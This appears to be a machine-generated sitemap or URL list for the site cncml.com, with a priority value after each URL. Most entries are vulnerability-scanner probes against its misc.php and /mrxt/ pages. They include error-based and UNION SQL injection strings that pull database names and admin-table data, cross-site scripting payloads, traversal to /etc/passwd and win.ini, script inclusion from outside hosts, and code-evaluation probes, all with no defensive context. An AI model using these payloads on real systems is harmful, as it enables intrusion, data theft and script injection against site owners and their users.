http://www.cncml.com/misc.php?mod=invite&id=43&action=article!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article%00' 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article%20 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article%2527 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article%5B%5D 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article%5C%22 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article%5C' 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article%bf%27 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article' 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article'%22 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article) 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=article6633x3X6 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=articleJyI%3D 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=articlealert(42873) 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=articlee360 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=dir 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=file:///c:/boot.ini 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=phpinfo 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=response.write(9412458*9542755) 0.0001 http://www.cncml.com/misc.php?mod=invite&id=43&action=set%7Cset&set 0.0001 http://www.cncml.com/misc.php?mod=mobile 0.0002 http://www.cncml.com/misc.php?mod=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/misc.php?mod=patch&action=checkpatch&rand=1453106726 0.0001 http://www.cncml.com/misc.php?mod=patch&action=checkpatch&rand=1453106796 0.0001 http://www.cncml.com/misc.php?mod=patch&action=pluginnotice&inajax=1&ajaxtarget=plugin_notice 0.0003 http://www.cncml.com/misc.php?mod=phpinfo 0.0001 http://www.cncml.com/misc.php?mod=report&rtype=post&rid=154&tid=152&fid=43 0.0001 http://www.cncml.com/misc.php?mod=report&rtype=post&rid=176&tid=173&fid=44 0.0001 http://www.cncml.com/misc.php?mod=report&rtype=post&rid=212&tid=204&fid=39 0.0001 http://www.cncml.com/misc.php?mod=report&rtype=post&rid=214&tid=206&fid=43 0.0001 http://www.cncml.com/misc.php?mod=report&rtype=post&rid=215&tid=207&fid=43 0.0001 http://www.cncml.com/misc.php?mod=report&rtype=post&rid=216&tid=208&fid=43 0.0001 http://www.cncml.com/misc.php?mod=report&rtype=post&rid=217&tid=209&fid=43 0.0001 http://www.cncml.com/misc.php?mod=report&rtype=post&rid=223&tid=215&fid=43 0.0001 http://www.cncml.com/misc.php?mod=report&rtype=post&rid=224&tid=216&fid=43 0.0001 http://www.cncml.com/misc.php?mod=report&rtype=post&rid=225&tid=217&fid=43 0.0001 http://www.cncml.com/misc.php?mod=report&rtype=post&rid=226&tid=218&fid=43 0.0001 http://www.cncml.com/misc.php?mod=report&rtype=post&rid=227&tid=219&fid=47 0.0001 http://www.cncml.com/misc.php?mod=report&rtype=post&rid=228&tid=220&fid=47 0.0001 http://www.cncml.com/misc.php?mod=report&rtype=post&rid=235&tid=224&fid=2 0.0001 http://www.cncml.com/misc.php?mod=report&rtype=post&rid=25&tid=25&fid=38 0.0001 http://www.cncml.com/misc.php?mod=response.write(9412458*9542755) 0.0001 http://www.cncml.com/misc.php?mod=seccode&action=update&idhash=cSInC3DL&0.35228022560477257&modid=portal::view 0.0001 http://www.cncml.com/misc.php?mod=seccode&action=update&idhash=cSQSGqiI&0.45051882416009903&modid=forum::forumdisplay 0.0001 http://www.cncml.com/misc.php?mod=seccode&action=update&idhash=cSQXXIMX&inajax=1&ajaxtarget=seccode_cSQXXIMX 0.0001 http://www.cncml.com/misc.php?mod=seccode&action=update&idhash=cSb9Zc0J&inajax=1&ajaxtarget=seccode_cSb9Zc0J 0.0001 http://www.cncml.com/misc.php?mod=seccode&action=update&idhash=cSdZ4503&0.7333585238084197&modid=portal::view 0.0001 http://www.cncml.com/misc.php?mod=seccode&action=update&idhash=cSo9Z19A&0.3017405577387896&modid=member::logging 0.0001 http://www.cncml.com/misc.php?mod=seccode&action=update&idhash=cSo9Z19A&0.8808205336214242&modid=undefined 0.0001 http://www.cncml.com/misc.php?mod=seccode&action=update&idhash=cSr1zL3K&0.2665165497455746&modid=portal::view 0.0001 http://www.cncml.com/misc.php?mod=seccode&action=update&idhash=cStx7xT7&0.13257974036969244&modid=portal::view 0.0001 http://www.cncml.com/misc.php?mod=seccode&action=update&idhash=null&0.24853301974593445&modid=undefined 0.0001 http://www.cncml.com/misc.php?mod=seccode&update=13825&idhash=null 0.0001 http://www.cncml.com/misc.php?mod=seccode&update=26280&idhash=cSQXXIMX 0.0001 http://www.cncml.com/misc.php?mod=seccode&update=41928&idhash=SMZ6A&mobile=2 0.0001 http://www.cncml.com/misc.php?mod=seccode&update=50506&idhash=cSo9Z19A 0.0001 http://www.cncml.com/misc.php?mod=seccode&update=77244&idhash=cSb9Zc0J 0.0001 http://www.cncml.com/misc.php?mod=seccode&update=88869&idhash=cStx7xT7 0.0001 http://www.cncml.com/misc.php?mod=secqaa&action=update&idhash=qSInC3DL&0.3232323327101767 0.0001 http://www.cncml.com/misc.php?mod=secqaa&action=update&idhash=qSQSGqiI&0.16461987560614944 0.0001 http://www.cncml.com/misc.php?mod=secqaa&action=update&idhash=qSQXXIMX&inajax=1&ajaxtarget=secqaa_qSQXXIMX 0.0001 http://www.cncml.com/misc.php?mod=secqaa&action=update&idhash=qSb9Zc0J&inajax=1&ajaxtarget=secqaa_qSb9Zc0J 0.0001 http://www.cncml.com/misc.php?mod=secqaa&action=update&idhash=qSdZ4503&0.36534051038324833 0.0001 http://www.cncml.com/misc.php?mod=secqaa&action=update&idhash=qSr1zL3K&0.2207761206664145 0.0001 http://www.cncml.com/misc.php?mod=secqaa&action=update&idhash=qStx7xT7&0.5365072200074792 0.0001 http://www.cncml.com/misc.php?mod=set%7Cset&set 0.0001 http://www.cncml.com/misc.php?mod=stat&op=trend&xml=1&type=all&primarybegin=2015-12-15&primaryend=2016-01-14&hash=b51439bde889dcf5883d55f0af32fc8b&types%5B%5D=login&types%5B%5D=register&types%5B%5D=invite&types%5B%5D=appinvite&types%5B%5D=thread&types%5B%5D=poll&types%5B%5D=activity&types%5B%5D=reward&types%5B%5D=debate&types%5B%5D=trade&types%5B%5D=post&types%5B%5D=group&types%5B%5D=groupthread&types%5B%5D=grouppost&types%5B%5D=doing&types%5B%5D=docomment&types%5B%5D=blog&types%5B%5D=blogcomment&types%5B%5D=pic&types%5B%5D=piccomment&types%5B%5D=share&types%5B%5D=sharecomment&types%5B%5D=wall&types%5B%5D=poke&types%5B%5D=click&types%5B%5D=mobilelogin&types%5B%5D=connectlogin&types%5B%5D=sendpm&types%5B%5D=addfriend&types%5B%5D=friend 0.0001 http://www.cncml.com/misc.php?mod=stat&op=trend&xml=1&type=all&primarybegin=2015-12-16&primaryend=2016-01-15&hash=8390b4a930a0d9cf6478809235e33a4f&types%5B%5D=login&types%5B%5D=register&types%5B%5D=invite&types%5B%5D=appinvite&types%5B%5D=thread&types%5B%5D=poll&types%5B%5D=activity&types%5B%5D=reward&types%5B%5D=debate&types%5B%5D=trade&types%5B%5D=post&types%5B%5D=group&types%5B%5D=groupthread&types%5B%5D=grouppost&types%5B%5D=doing&types%5B%5D=docomment&types%5B%5D=blog&types%5B%5D=blogcomment&types%5B%5D=pic&types%5B%5D=piccomment&types%5B%5D=share&types%5B%5D=sharecomment&types%5B%5D=wall&types%5B%5D=poke&types%5B%5D=click&types%5B%5D=mobilelogin&types%5B%5D=connectlogin&types%5B%5D=sendpm&types%5B%5D=addfriend&types%5B%5D=friend 0.0001 http://www.cncml.com/misc.php?mod=stat&op=trend&xml=1&type=all&primarybegin=2015-12-17&primaryend=2016-01-16&hash=e592f3379f59236971e2600a83a74dcb&types%5B%5D=login&types%5B%5D=register&types%5B%5D=invite&types%5B%5D=appinvite&types%5B%5D=thread&types%5B%5D=poll&types%5B%5D=activity&types%5B%5D=reward&types%5B%5D=debate&types%5B%5D=trade&types%5B%5D=post&types%5B%5D=group&types%5B%5D=groupthread&types%5B%5D=grouppost&types%5B%5D=doing&types%5B%5D=docomment&types%5B%5D=blog&types%5B%5D=blogcomment&types%5B%5D=pic&types%5B%5D=piccomment&types%5B%5D=share&types%5B%5D=sharecomment&types%5B%5D=wall&types%5B%5D=poke&types%5B%5D=click&types%5B%5D=mobilelogin&types%5B%5D=connectlogin&types%5B%5D=sendpm&types%5B%5D=addfriend&types%5B%5D=friend 0.0001 http://www.cncml.com/misc.php?mod=stat&op=trend&xml=1&type=all&primarybegin=2015-12-18&primaryend=2016-01-17&hash=b77c170cb837217d179e21843e998f09&types%5B%5D=login&types%5B%5D=register&types%5B%5D=invite&types%5B%5D=appinvite&types%5B%5D=thread&types%5B%5D=poll&types%5B%5D=activity&types%5B%5D=reward&types%5B%5D=debate&types%5B%5D=trade&types%5B%5D=post&types%5B%5D=group&types%5B%5D=groupthread&types%5B%5D=grouppost&types%5B%5D=doing&types%5B%5D=docomment&types%5B%5D=blog&types%5B%5D=blogcomment&types%5B%5D=pic&types%5B%5D=piccomment&types%5B%5D=share&types%5B%5D=sharecomment&types%5B%5D=wall&types%5B%5D=poke&types%5B%5D=click&types%5B%5D=mobilelogin&types%5B%5D=connectlogin&types%5B%5D=sendpm&types%5B%5D=addfriend&types%5B%5D=friend 0.0001 http://www.cncml.com/misc.php?mod=syscode&pnumber=C%27%20or%20%60%27%60%20%20or%20@%60%27%27%60%20union%20select%201%20from%20%28select%20count%28*%29,concat%28%28select%20database%28%29%29,floor%28rand%280%29*2%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%20%23%20@%60%27%60 0.0001 http://www.cncml.com/misc.php?mod=tag&id=10 0.0001 http://www.cncml.com/misc.php?mod=tag&id=23 0.0001 http://www.cncml.com/misc.php?mod=tag&id=3 0.0001 http://www.cncml.com/misc.php?mod=tag&id=44 0.0001 http://www.cncml.com/misc.php?mod=tag&id=45 0.0001 http://www.cncml.com/misc.php?mod=tag&id=69 0.0001 http://www.cncml.com/misc.php?mod=tag&id=70 0.0001 http://www.cncml.com/misc.php?mod=tag&id=71 0.0001 http://www.cncml.com/misc.php?mod=tag&id=72 0.0001 http://www.cncml.com/misc.php?mod=tag&id=74 0.0001 http://www.cncml.com/misc.php?mod=tag&id=75 0.0001 http://www.cncml.com/misc.php?mod=tag&id=9 0.0001 http://www.cncml.com/misc.php?redirect:%25%7B23.5*2.35%7D 0.0001 http://www.cncml.com/misc.php?xss_test%3Cscript%3Eprompt(42873);%3C/script%3E 0.0001 http://www.cncml.com/mrxt/ 0.0011 http://www.cncml.com/mrxt/?%22onmouseover='prompt(42873)'bad=%22%3E 0.0001 http://www.cncml.com/mrxt/?/home/explore/category-1)%20AND%20(SELECT%204037%20FROM(SELECT%20COUNT(*),CONCAT(CHAR(58,100,114,108,58),(SELECT%20(CASE%20WHEN%20(4037=4037)%20THEN%201%20ELSE%200%20END)),CHAR(58,122,103,111,58),FLOOR(RAND(0)*2))x%20FROM%20information_schema.tables%20GROUP%20BY%20x)a)%20AND%20(9909=9909 0.0001 http://www.cncml.com/mrxt/?/people/360webscan?notification_id-360webscan' 0.0001 http://www.cncml.com/mrxt/?/people/ajax/user_actions/uid-1__actions-1)%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(sha1(0x3336307765627363616e),(SELECT%20(CASE%20WHEN%20(8274=8274)%20THEN%201%20ELSE%200%20END)),FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%20and%20(1=1 0.0001 http://www.cncml.com/mrxt/?/s_tag/hehe%25%27%20union%20select%201,2,3,md5(1122),5,6,7%20from%20go_admin%23 0.0001 http://www.cncml.com/mrxt/?__runfile0123456789=/etc/passwd 0.0001 http://www.cncml.com/mrxt/?__runfile0123456789=c:%5Cwindows%5Cwin.ini 0.0001 http://www.cncml.com/mrxt/?action=course&do=-1%20AND%20(SELECT%202358%20FROM(SELECT%20COUNT(*),CONCAT(0x7765627363616E3A,(SELECT%20(CASE%20WHEN%20(2358=2358)%20THEN%201%20ELSE%200%20END)),0x3A66696E643A,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%23&&todo=list 0.0001 http://www.cncml.com/mrxt/?app=vote&controller=vote&action=total&contentid=1%20and%20cast(ascii(substring(version(),1,1))=53%20as%20signed) 0.0001 http://www.cncml.com/mrxt/?app=widget&mod=feedlist&act=getdata&maxId=111&act=loadNew&templateCacheFile=C:%5CWindows%5Cwin.ini 0.0001 http://www.cncml.com/mrxt/?callback=%3Cscript%3Eprompt(42873)%3C/script%3E 0.0001 http://www.cncml.com/mrxt/?gallery-1--1--'%20%3E%3Ciframe%20src=javascript:window%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(42873)%20'--grid.html 0.0001 http://www.cncml.com/mrxt/?m=User&a=login_800&from=tuan800&sign=xxoo&qname=%27%20AND%20%28SELECT%201%20FROM%28SELECT%20COUNT%28%2a%29%2CCONCAT%28md5%280x7765627363616e%29%2CFLOOR%28RAND%280%29%2a2%29%29X%20FROM%20information_schema.tables%20GROUP%20BY%20X%29a%29%23 0.0001 http://www.cncml.com/mrxt/?m=info&rewrite=1'%20union%20select%201,concat(0x23,md5(1122),0x23)%20from%20my_admin%20where%20id=1%20--%20a 0.0001 http://www.cncml.com/mrxt/?m=info.detail&id=1-webscan 0.0001 http://www.cncml.com/mrxt/?m=offer&s=offer_list&id=1-webscan%23 0.0001 http://www.cncml.com/mrxt/?m=product&s=list&key=12'%20and%201=(updatexml(1,concat(0x5e24,(select%20md5(1122)),0x5e24),1))%23 0.0001 http://www.cncml.com/mrxt/?m=vote&id=&vid=1,3)%20and%20%20webscan1122%23 0.0001 http://www.cncml.com/mrxt/?mod=account&code=Login_callback&cmd=a&from=../../../robots.txt%00 0.0001 http://www.cncml.com/mrxt/?mod=account&code=Sendcheckmail&uname=-1%2527%20or%201=1%23 0.0001 http://www.cncml.com/mrxt/?mod=wap&code=coupon_input&msgcode=ops-success&last%5B%5D==1%20union%20/*!select*/%201,1,1,1,1,1,1,1234567890,1%20from%20cenwor_system_members 0.0001 http://www.cncml.com/mrxt/?overview 0.0001 http://www.cncml.com/mrxt/?plugins&area=&class=u_sel&name=work_&q=areas&type=p,c&value=1/**/and/**/extractvalue(1,concat(0x5c,md5(1122)));-- 0.0001 http://www.cncml.com/mrxt/?plugins&q=area&name=type=p,c&area=1&area_id=updatexml(1,concat(md5(0x41144),user()),1) 0.0001 http://www.cncml.com/mrxt/?plugins&q=prosite&site_id=updatexml(1,concat(md5(0x41144),user()),1) 0.0001 http://www.cncml.com/mrxt/?product-75-1@%7C1122%22%3E%3Ciframe%20src=javascript:this%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(%2242873%22)%20-index.html 0.0001 http://www.cncml.com/mrxt/?question/search/%27%75nion%20select%201,2,3,4,5,6,7,8,md5(1122),10,11,12,13,14,15,16,17,18,19,20%23 0.0001 http://www.cncml.com/mrxt/?question/search/tag:0%27%75nion%20select%201,2,3,4,5,6,(%73elect%20concat(0x23,md5(1122),0x23)%20%66rom%20ask_user%20limit%200,1),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%23.html 0.0001 http://www.cncml.com/mrxt/?question/tag/0%27%75nion%20select%201,2,3,4,5,6,(%73elect%20concat(0x23,md5(1122),0x23)%20%66rom%20ask_user%20limit%200,1),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%23.html 0.0001 http://www.cncml.com/mrxt/?s=/abc/abc/abc/$%7B@print(md5(base64_decode(MzYwd2Vic2Nhbg)))%7D/ 0.0001 http://www.cncml.com/mrxt/?s=abc~abc~abc~$%7B@print(md5(base64_decode(MzYwd2Vic2Nhbg)))%7D 0.0001 http://www.cncml.com/mrxt/?tag=test'%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(sha1('360webscan'),FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 